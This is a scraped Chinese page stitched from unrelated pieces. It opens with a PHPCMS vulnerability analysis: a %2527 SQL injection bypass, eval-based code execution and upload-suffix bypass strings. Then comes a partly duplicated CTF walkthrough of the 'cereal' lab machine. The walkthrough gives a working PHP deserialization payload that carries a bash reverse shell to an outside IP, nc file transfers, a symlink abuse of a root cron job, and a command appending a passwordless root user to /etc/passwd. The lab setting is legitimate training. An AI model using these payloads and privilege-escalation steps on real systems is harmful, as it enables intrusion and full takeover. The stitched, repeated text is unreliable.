第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 88 次瀏覽 ? 2022-06-20 19:09
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
